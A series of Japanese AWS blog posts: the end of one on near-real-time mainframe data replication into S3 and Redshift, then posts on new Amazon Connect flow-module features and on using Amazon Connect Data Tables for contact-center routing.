DATEADD(hour, -1, GETDATE()) #基準日を'2024-04-01 00:00:00'のようにも指定できる GROUP BY store_id ORDER BY hourly_sales DESC; この構成により、メインフレームでの取引発生から数分以内に Redshift での分析結果を取得でき、Amazon Quick Sight などの BI ツールと連携してニアリアルタイムダッシュボードを構築することも可能です。 構成の使い分け ここで、代表的な2種類の構成を紹介しましたが、それぞれに適したユースケースは次のようにります。 Data Firehose を経由した S3 への連携構成 長期保存、機械学習、大容量データ処理が必要な場合 Redshift への直接連携構成 ニアリアルタイム分析、ダッシュボード表示、即座の意思決定支援が必要な場合 用途に応じて両方の連携先を同時に設定することも可能で、包括的なデータ活用基盤を構築できます。MSK と Redshift についてより詳細に知りたい方は、以下のドキュメントを参照してください。 Amazon Managed Streaming for Apache Kafka デベロッパーガイド: Amazon MSK の Amazon Redshift ストリーミングデータインジェスト Amazon Redshift データベース開発者ガイド: マテリアライズドビューへのストリーミング取り込み Amazon Redshift データベース開発者ガイド: Amazon Kinesis Data Streams からストリーミング取り込みを開始する方法 おわりに 本ブログでは、Precisely を用いた AWS Mainframe Modernization Data Replication により、メインフレームデータを AWS クラウドへニアリアルタイムで同期する方法をご紹介しました。この構成により、従来の日次バッチ処理では実現できなかった迅速なデータ活用が可能になり、S3 データレイクでの機械学習活用から Redshift でのニアリアルタイム分析まで、多様なユースケースに対応できます。メインフレームへの影響を最小限に抑えながら、クラウドの柔軟性とスケーラビリティを活用したデータドリブンな意思決定を実現することで、ビジネス価値の向上に貢献することが可能です。より詳細なご相談や具体的な実装支援については、AWS Professional Services までお気軽にお問い合わせください。 参考情報 AWS marketplace – precisely software Precisely 公式ドキュメント 著者について 安藤 亮一 (ANDO Ryoichi) 安藤 亮一は、AWS Japan プロフェショナルサービスチームのデリバリコンサルタントです。データプラットフォームの構築を検討されているお客様の構想策定の支援や、生成 AI のためのデータプラットフォームの構想策定・設計構築の支援などを行っています。データ基盤の構築や利活用でお困りのことがあれば、ぜひご相談ください。 賀 雲剣 (Yunjian He) 賀 雲剣は、AWS Japan プロフェショナルサービスチームのデリバリコンサルタントです。AWS認定試験全取得でゴールデンジャケットを保持しています。 高エネルギー物理学分野で博士（理学）の学位を取得、大規模データの分析で悩んでいた過去の自身のようなお客様に役立ちたいと思ってAWSに入社しました。最近は生成AI利活用のプラットフォーム構築支援プロジェクトに参画し、データに関わる側面でお客様の支援を行っています。 北川 裕介 (KITAGAWA Yusuke) 北川 裕介は、AWS Japan プロフェショナルサービスチームのデリバリコンサルタントです。主にメインフレームの活用や移行に関する活動を支援しています。

AWS の AI を活用したカスタマーエクスペリエンスソリューションである Amazon Connect 、そのコアに、フローとモジュールがあります。フローはカスタマージャーニーを定義し、モジュールは運用を合理化する再利用可能な要素として機能します。 フローとモジュールに関して、これまで以上に強力で柔軟性があり、保守性を高める 3 つの新機能を発表しました。これらの機能強化により、コンタクトセンターアーキテクトが直面するフローとモジュール間のデータのやり取りの管理の一般的な課題に対処し、コンタクトセンターの設計に前例のない柔軟性と明確性をもたらします。 カスタムブロックでモジュールの柔軟性を変革 フローモジュールの最新の機能アップグレードであるカスタムブロックで、コンタクトセンター運用を簡素化、強化しましょう。この強力な機能は、業界標準の JSON スキーマ v4 構文を実装し、入力および出力オブジェクトを正確に制御します。これにより、ブロックレベルでの動的なエクスペリエンスが可能になります。 この機能が変革的である理由は、コンタクトフローアーキテクチャを合理化する方法にあります。チームは指定された出力パスを作成し、カスタムブランチ名を設定できるようになり、従来のデータ受け渡しメカニズムの複雑さを解消できます。この体系的なアプローチにより、開発コストを抑えながら、フローの作成と管理をより直感的に実現できます。 UI コンポーネントを使用してモジュールのカスタム入力および出力パラメータを設定 モジュールのカスタムブランチを設定 バージョニングとエイリアシングでデプロイメントの信頼性を向上 本番環境でのモジュール更新の管理は常に課題でしたが、新しい包括的なバージョニングとエイリアシング機能により、これが大きく変わります。変更されないモジュールの固定バージョンを作成できるため、デプロイメント時の一貫性を保ちながら、安全にテストを行い、継続的な改善が可能になります。 エイリアス管理システムこそが特に素晴らしい部分です。エイリアスを新しいバージョンを指すように更新すると、その変更はコンタクトセンター実装全体でそのエイリアスを参照しているすべての場所に自動的に適用されます。つまり、単一のエイリアス参照を変更するだけで、予約ロジック、カスタマーサービスワークフロー、またはその他のビジネスプロセスのすべての実装を更新できます。これはデプロイメントプロセスに非常に大きな安心感をもたらします。 新しいバージョンを公開 バージョンタブですべてのバージョンを表示し、以前のバージョンを選択して読み取り専用モードで設定を表示 エイリアスを作成し、エイリアスを特定のバージョンに関連付け ツールとしてモジュールを活用し、従来のフローを超えた拡張を実現 3 つ目のエキサイティングな機能は、フローモジュールが独立した実行単位として様々なシステムによってフロー外で呼び出せるようになったことです。これにより、AI エージェントがカスタマーサービスのやり取り中に支払いワークフロー、自動化されたタスク、その他のビジネスロジックを実行するためのツールとしてモジュールを使用でき、確立された自動化ツールでの新しいユースケースが開かれます。 このアプローチにより、ビジネスロジックをモジュールとして一度定義すれば、複数のチャネルとコンテキストで実行できます。音声通話、チャットのやり取り、自動化されたプロセスのいずれを処理している場合でも、信頼性の高い同じモジュールを呼び出すことができ、開発オーバーヘッドを削減しながら一貫性を確保できます。モジュールタブで新しいツールモジュールを直接作成するか、「ツールとして保存」オプションを使用して既存のモジュールを変換できます。すべてのブロックがツールモジュールでサポートされているわけではないことに注意してください。 モジュールタブで新しいツールモジュールを作成でき、ブロックライブラリで利用可能なブロックを使用してこれらのモジュールを使用できます。 フローモジュールをツールとして作成 ツールとして保存 実際の例: 旅行業界のユースケース 顧客が常にホテル予約の予約、キャンセル、変更を必要とする旅行会社を運営していると想像してください。様々なコンタクトセンターでこれらのリクエストを別々に管理する代わりに、すべてを標準化する単一の強力な予約モジュールを作成できます。 このモジュールを中心的なコントロールセンターと考えてください。顧客が予約について電話をかけてきたとき、ニューヨークまたはロンドンの誰かと話しているかに関係なく、同じ効率的なプロセスが展開されます。システムは各リクエストタイプの処理方法を正確に把握し、一貫したルールと手順に従います。 真の力は変更が必要なときに現れます。数十の場所で指示を更新する代わりに、単純に 1 つのバージョンを変更してエイリアスを更新するだけです。これは、すべてのドアを自動的に開くことができるマスターキーを変更できるようなものです。すべてのコンタクトセンターが即座に新しいバージョンで動作し、すべての顧客が同じ高品質のサービスを受けることを保証します。 実装の実践 実際の動作は次のとおりです。異なるシナリオを処理するための明確な指示を含む予約モジュールを構築します。顧客は電話をかけると、まずシンプルなメニューを通じてニーズを選択できます。予約リクエストは専用モジュールを通じて流れ、その他のサポートのニーズはエージェントに直接接続されます。システムは顧客の入力を読み取り、適切なチャネルを通じて処理し、毎回一貫した結果を提供します。 この方法は何よりも、管理が簡単です。本番稼働前に別のバージョンで新機能をテストでき、異なるリクエストの処理方法を正確に定義でき、わかりやすいデータ構造を通じてすべての予約情報にアクセスできます。つまり、チームは本当に重要なこと、優れたカスタマーサービスの提供に集中でき、技術仕様による複雑なプロセスに悩まされることはありません。 新機能の使用 これらの例は、Amazon Connect フローとモジュールの実用的な知識を前提としています。これらのサービスで基本的な管理タスクを実行する方法の詳細については、以下を参照してください。 Amazon Connect 管理ガイド Amazon Connect の再利用可能な機能のためのフローモジュール * これらのスクリーンショットはデモンストレーション目的のみであり、エンドツーエンドで完全にテストされていない部分的なフローの例であることにご注意ください。これらの例を出発点として使用し、特定のユースケースに合わせてカスタマイズしてご利用ください。 予約操作モジュールの作成 設定タブで予約操作モジュールの入力、出力、カスタムブランチを定義できます。 入力 出力 ブランチ モジュールの設計 予約操作モジュールは、定義した入力パラメータに基づいて異なる運用ボットにリクエストをルーティングすることで、それぞれのビジネスニーズに適応できます。各予約操作は、「戻る」ブロックを通じてカスタマイズされた出力を返すことができ、異なるシナリオの処理方法を完全に制御できます。このモジュラーアプローチにより、新しい予約タイプの追加、追加サービスの統合、既存のワークフローの変更が必要な場合でも、モジュールのロジックを拡張し、各新しい操作に適切な出力パスを設定するだけで、時間の経過に応じて予約機能を簡単に拡張できます。 シンプルな予約の例 モジュールの入力と出力の操作 モジュール内では、モジュールの名前空間を通じて入力パラメータにアクセスでき、パラメータ値がモジュールの入力スキーマ定義と一致するよう定義できます。「戻る」ブロックを設定する際、呼び出し元のフローへの応答を処理するカスタムブランチを柔軟に選択できます。定義する出力データは、モジュールの出力スキーマで指定した構造に準拠する必要があり、フローとモジュール間で予測可能で信頼性の高いデータのやり取りを提供します。 入力と出力管理へのこの構造化されたアプローチにより、どのデータが利用可能で、コンタクトセンターソリューションの異なる部分間で受け渡される際にどのようにフォーマットされるかを正確に把握して、自信を持ってモジュールを構築できます。 入力 出力 モジュールの統合による予約フローの構築 予約フローは、顧客がサポートを必要とするとき、コンタクトセンターと自然にやり取りできる方法を示します。顧客が電話をかけてきたとき、新しい予約の作成、既存の予約の変更、旅行計画のキャンセルなど、必要なサポートの種類を選択するよう案内するプロンプトが聞こえます。4 番目のオプションは、人間の支援を必要とするより複雑な問い合わせ向けで、顧客をエージェントに直接接続します。 このアプローチが強力である理由は、フローが自動化されたサポートと人間のサポートの間をいかにシームレスに移行するかです。顧客が予約関連のオプションのいずれかを選択すると、フローは初期のやり取り中に収集された情報を使用して、予約操作モジュールを自動的に呼び出します。これにより、メインフローが全体的なカスタマーエクスペリエンスを調整しながら、モジュールが専門的な予約操作を処理できます。 フローは、モジュールで定義したブランチを通じ、異なる目的をインテリジェントに管理します。この例では、成功した予約操作は通話を自動的に終了しますが、複雑な変更やエラー条件など追加の支援を必要とするシナリオでは、以前のやり取りの完全なコンテキストを持つ人間のエージェントと接続できるキューに顧客をスムーズに移行します。 この設計により、顧客は可能な場合は効率的な自動化されたサービスを受け、必要に応じてパーソナライズされた人間のサポートのオプションも維持し、各顧客の特定の状況に適応するシームレスな体験を作成します。 モジュールの統合によるフロー シームレスな統合のためのモジュール入力の設定 モジュール呼び出しブロックを設定する際、予約操作モジュールがコンタクトフローとどのように統合されるかを完全に制御できます。正確な制御のために特定のバージョンでモジュールを参照するか、モジュールの進化に適応する柔軟なデプロイメント管理のためにエイリアスを使用するかを選択できます。設定プロセスにより、特定のユースケースでアクティブにするカスタムブランチを定義し、モジュールに渡される正確な入力パラメータを指定できます。 この構造化されたアプローチにより、顧客が期待する整合性と信頼性を維持しながら、コンポーネント間でデータがシームレスに流れるよう設計でします。入力データタイプは自動的にモジュールのスキーマ定義と一致し、統合がすべてのコンタクトセンター運用で一貫した動作を実現できます。 JSON パスを使用したモジュール出力へのアクセス モジュール属性の JSON パスを使用して、モジュールの出力データに直接アクセスできます。パス $.Modules.ResultData は、モジュールの出力スキーマで定義されたのと同じデータ構造に従います。この例では、 $.Modules.ResultData は、モジュール出力で定義された 2 つのプロパティ bookingId と confirmation を含む JSON オブジェクトです。 テストと検証 実装のテストは、コンタクトフローに電話番号を割り当てて、プロンプトに従って電話をかけるのと同じくらい簡単です。顧客が異なる予約操作のトーン信号を入力すると、対応する予約操作モジュールが呼び出され、予約 ID のプロンプトに続いて確認メッセージを受け取ります。これは、カスタム定義された入力、出力、ブランチのシームレスな統合によるものです。 予約操作で機能する同じフレームワークは、SMS 送信、残高確認、パスワードリセット、およびコンタクトセンター運用全体で標準化して再利用する必要があるその他のビジネスプロセスを含む、他の様々なユースケースに適用できます。 今日からコンタクトセンター運用を変革しましょう Amazon Connect フローモジュールへのこれら 3 つの強力な機能強化は、単なる新機能以上のものを表しています。より保守しやすく、スケーラブルで、インテリジェントなコンタクトセンター運用への根本的な変化です。カスタムブロックはフローとモジュール間のデータのやりとりの複雑さを排除し、バージョニングとエイリアシングはコンタクトセンターのアーキテクチャにエンタープライズグレードの信頼性のあるデプロイメントをもたらします。モジュールをツールとして使用する機能は、AI 駆動のカスタマーサービス自動化への全く新しい可能性を開きます。 ここまで見てきた旅行業界の例は、これらの機能の 1 つの実装例を示していますが、可能性はすべての業界とユースケースに及びます。金融取引、医療問い合わせ、小売サポート、またはその他の顧客とのやり取りシナリオを管理している場合でも、これらの機能強化は、ビジネスニーズとともに進化するコンタクトセンターソリューションを構築するための基盤を提供します。 これらの機能強化を活用して Amazon Connect 実装を変革する事例を見られることを楽しみにしています。改善されたモジュールの柔軟性、デプロイメントの信頼性、拡張された自動化機能の組み合わせにより、これまで不可能だった機会が生まれます。今すぐこれらの新機能をお試しください。コンタクトセンター運用を簡素化しながらカスタマーエクスペリエンスを向上させる方法を発見してください。 始める準備はできましたか？詳細な実装ガイドとベストプラクティスについては Amazon Connect のドキュメント にアクセスし、次世代のカスタマーエクスペリエンスの構築を開始しましょう。 翻訳はテクニカルアカウントマネージャー高橋が担当しました。原文は こちら です。

はじめに コンタクトセンターの運用チームがよく直面する課題として、従来のアプローチでは日常的な変更を行う際に開発者の支援とコード変更が必要になることによる遅延があげられます。Amazon Connect Data Tables は、管理者がノーコードインターフェースを通じて運用データを管理できるようにすることで、この課題に対処し、一般的なタスクの俊敏性を向上させ、実装時間を短縮します。 このブログ記事では、 Amazon Connect Data Tables を活用してコンタクトセンター運用を効率化する方法を解説します。実際のユースケースをテーマに、機能の実装に関するステップバイステップのガイドを提供し、運用効率と顧客満足度を向上させるためにデータテーブルを使う利点について説明します。 ソリューション概要 Amazon Connect Data Tables により、コンタクトセンターチームは、コードを書くことなく、直接コンタクトフロー内で運用データを作成、管理、参照できます。管理者は、休日スケジュール、緊急ルーティングフラグ、エージェント内線マッピング、場所固有のプロンプトなどの構造化された情報をカスタマイズ可能なテーブルに保存できます。コンタクトフローからこのデータにリアルタイムでアクセスすることで、動的なルーティング決定とパーソナライズされた顧客体験を推進します。 この機能により、日常的に発生する運用変更において、従来まで開発者に依存していた業務を解消できます。ユーザーは Amazon Connect UI で直接データテーブルを管理し、API を介してプログラム的に管理できるため、手動更新と自動化されたワークフローの両方に柔軟性を提供します。チームは、エージェント内線マッピング、緊急フラグ、機能フラグの切り替え、またはルーティングパラメータを即座に変更でき、設定変更にかかる時間を数日から数分に短縮できます。 ウォークスルー データテーブルの利点を説明するために、いくつかの実際のユースケースを見てみましょう。 ユースケース 1: 直通電話番号内線システム 資産管理会社では、富裕層の顧客を各担当ファイナンシャルアドバイザーに効率的に誘導することが重要です。以前は、企業は外部データソースと Lambda 関数とのカスタムコード統合を構築して、顧客にそのようなパーソナライズされたサービスを提供する必要がありました。データテーブルを使用すると、企業は、顧客がコールフロー中にアドバイザーの内線番号を入力するだけのノーコードインターフェースを備えた直通電話番号内線システムを実装できます。システムは以下を行います： アドバイザー電話番号内線マッピングを保存 アドバイザーの割り当てが変更されてもコード変更なしで即座にルーティング可能 ユースケース 2: 季節性のサイト閉鎖フラグ 小売企業は、冬季にサイト閉鎖フラグを更新し、プレミアム顧客の通話を処理するためには専門エージェントを割り当てる必要がありました。従来、これには IT チームへの変更依頼が必要で、遅延が発生していました。Amazon Connect Data Tables により、コンタクトセンターの管理者は、ノーコードインターフェースを通じてこれらの変更を独立して管理できるようになりました。システムは以下を行います： 冬季が始まったときにサイト閉鎖フラグを自動的に更新 プレミアム顧客の通話を処理するために専門エージェントをマッピング 反映時間を数日から数分に短縮 ユースケース 3: 季節性のワクチン接種キャンペーン 医療保険プロバイダーは、コンタクトセンターを通じて季節性のワクチン接種キャンペーンを促進する必要がありました。コンタクトセンターの管理者は、通常のコールフローを中断することなく、秋の期間だけカスタマイズされたワクチン接種リマインダーメッセージを再生したいと考えています。データテーブルを使用して、システムは以下を行います： 季節性のあるプロンプトを保存し、これらのメッセージを自動的にトリガーする日付ベースのルールを設定 管理者が IT のサポートを必要とせずにメッセージの内容とアクティベーション日を更新可能 前提条件 AWS アカウント 既存の Amazon Connect インスタンス データテーブル、キュー、エージェント、コンタクトフローなどを設定するための Amazon Connect 管理者アクセス 実装手順 以下のセクションでは、Amazon Connect Data Tables を使用した電話番号内線による直接エージェントルーティングの実装について説明します。同じソリューションを、上記にリストされた他のすべてのシナリオに拡張できます。 ステップ 1: Amazon Connect Data Tables を有効化 AWS コンソールで Amazon Connect に移動 インスタンスを選択してログイン 「 ユーザー 」の下の「 セキュリティプロファイル 」に移動 更新するセキュリティプロファイルを選択 「 アクセス許可 」セクションで、このセキュリティプロファイルのユーザーに対して「 データテーブル 」アクセスが有効になっていることを確認します。 ステップ 2: 各ユースケース用のデータテーブルを作成 実装を計画している各ユースケースに対してデータテーブルを作成します。以下では、エージェント内線ユースケース用のデータテーブルの作成について説明します。 Amazon Connect 管理 UI の「 ルーティング 」の下の「 データテーブル 」に移動 「 新しいデータテーブルを追加 」を選択して新しいデータテーブルを作成 名前とオプションの説明を入力 タイムゾーンを選択 (例: US/Eastern) ロックレベルを選択 (例: プライマリの値) (ロックレベルは同時レコード更新を制御します – 「プライマリの値」は変更中にプライマリキーフィールドのみをロックします) 「 属性を追加 」を選択して列の詳細を入力 列の名前を入力 (例: Extension、AgentName、AgentARN) 列のデータ型を選択 (例: Text) 必要に応じてプライマリ属性のチェックボックスを選択 検証が必要な場合は最小および最大テキスト長を入力 コレクション検証が必要かどうかを定義 3 つの属性を作成した後、以下に示すような空のテーブル構造が表示されます 「 レコードを追加 」を選択して、エージェントとその内線マッピングでテーブルを入力 Extension(内線番号)、AgentARN、AgentName などのエージェントの詳細を入力 同様に、他のシナリオ (例: 緊急閉鎖フラグ、カスタムプロンプトなど) に必要な新しいテーブル、列、レコードを作成します。閉鎖フラグのサンプルテーブル構造を以下に示します。 ステップ 3: 各ユースケース用のコンタクトフローを作成 シナリオを処理するため、それぞれのコンタクトフローを作成します。 エージェント内線ルーティングコンタクトフロー Amazon Connect コンソールで、「 ルーティング → フロー → フローを作成 」を選択 「 Agent Extension Routing 」という名前の新しいコンタクトフローを作成 「 ログ記録動作の設定 」と「 記録と分析の 動作を設定 」ブロックを追加 内線入力をキャプチャするために「 顧客の入力を保存する 」ブロックを追加。エンドカスタマーが架電し内線をダイヤルするとき、ここでデータ入力がキャプチャされます 「 データテーブル 」ブロックをコンタクトフローに追加 以下のスクリーンショットに従って「 データテーブル 」ブロックでクエリ設定を定義。クエリ設定は、作成したデータテーブルを検索し、必要な情報を取得します 訳注: データテーブルからの読み込み > データテーブルを評価 > 手動で設定 からクエリを設定します 以下のスクリーンショットに従って、エージェント内線ルーティング用の「 作業キューの設定 」ブロックを追加 訳注: エージェント別 > 動的に設定 > データテーブル 非内線ルーティング用の「 作業キューの設定 」ブロックを追加 「 キューへ転送 」ブロックを追加 最後に「 切断 」ブロックを追加 すべてのブロックを適切に接続し、コンタクトフローを「 保存 」および「 公開 」 (コンタクトフローは以下のスクリーンショットのようになります) カスタムメッセージング付き緊急ルーティングコンタクトフロー Amazon Connect コンソールで、「 ルーティング → フロー → フローを作成 」を選択 「 Emergency Routing 」という名前の新しいコンタクトフローを作成 「 ログ記録動作の設定 」と「 記録と分析の動作を設定 」ブロックを追加 ウェルカムメッセージを再生するために「 プロンプトの再生 」ブロックを追加 新しい「 データテーブル 」ブロックをコンタクトフローに追加 以下のスクリーンショットに従って「 データテーブル 」ブロックでクエリ設定を定義 緊急フラグ値が「 true 」かどうかを確認するために「 コンタクト属性を確認する 」ブロックを追加 フラグ値が「 true 」の場合に緊急閉鎖のカスタムプロンプトを再生するために「 プロンプトの再生 」ブロックを追加 非緊急ルーティング用の「 作業キューの設定 」ブロックを追加 「 キューへ転送 」ブロックを追加 最後に「 切断 」ブロックを追加 すべてのブロックを適切に接続し、コンタクトフローを「 保存 」および「 公開 」 (コンタクトフローは以下のスクリーンショットのようになります) ステップ 4: このソリューションを検証する方法 エージェント内線ルーティング検証： 電話番号を取得し、新しく作成したコンタクトフローに電話番号を関連付け 取得した電話番号に電話をかけ、作成したデータテーブルにマッピングされた有効な内線を入力 通話が内線用に設定されたエージェントにルーティングされます カスタムプロンプト付き緊急フラグルーティング検証： 電話番号を取得し、新しく作成したコンタクトフローに電話番号を関連付け 取得した電話番号に電話をかけると、緊急メッセージが再生されます データが変更された際の体験を検証するために、データテーブルのレコードを異なる値で更新してみましょう。 クリーンアップ これらの機能をテストし終わり、リソースをクリーンアップしたい場合： このブログの一部として作成されたサンプルまたはテスト用のデータテーブルを削除 コンタクトフローをアーカイブ キューを削除 ルーティングプロファイルとユーザーを削除 注意 ：常に開発環境でクリーンアップ手順をテストしてください。本番環境での誤った削除を避けるために、すべての本番リソースの設定状況を記録してください。 まとめ このブログ記事では、Amazon Connect のデータテーブル機能と運用データを管理するためのノーコードインターフェースについて概説しました。コンタクトセンター管理者がこの機能を使用して日常的な更新を合理化する方法を説明し、エージェント内線ルーティング、緊急閉鎖フラグ、季節に応じたメッセージングを含む実際のユースケースを通じて実装プロセスを確認しました。 こちら をクリックして管理者ガイドからさらに詳しい情報を確認し、コンタクトセンターでデータテーブルの実装を開始しましょう。 翻訳はテクニカルアカウントマネージャーの高橋が担当しました。原文は こちら です。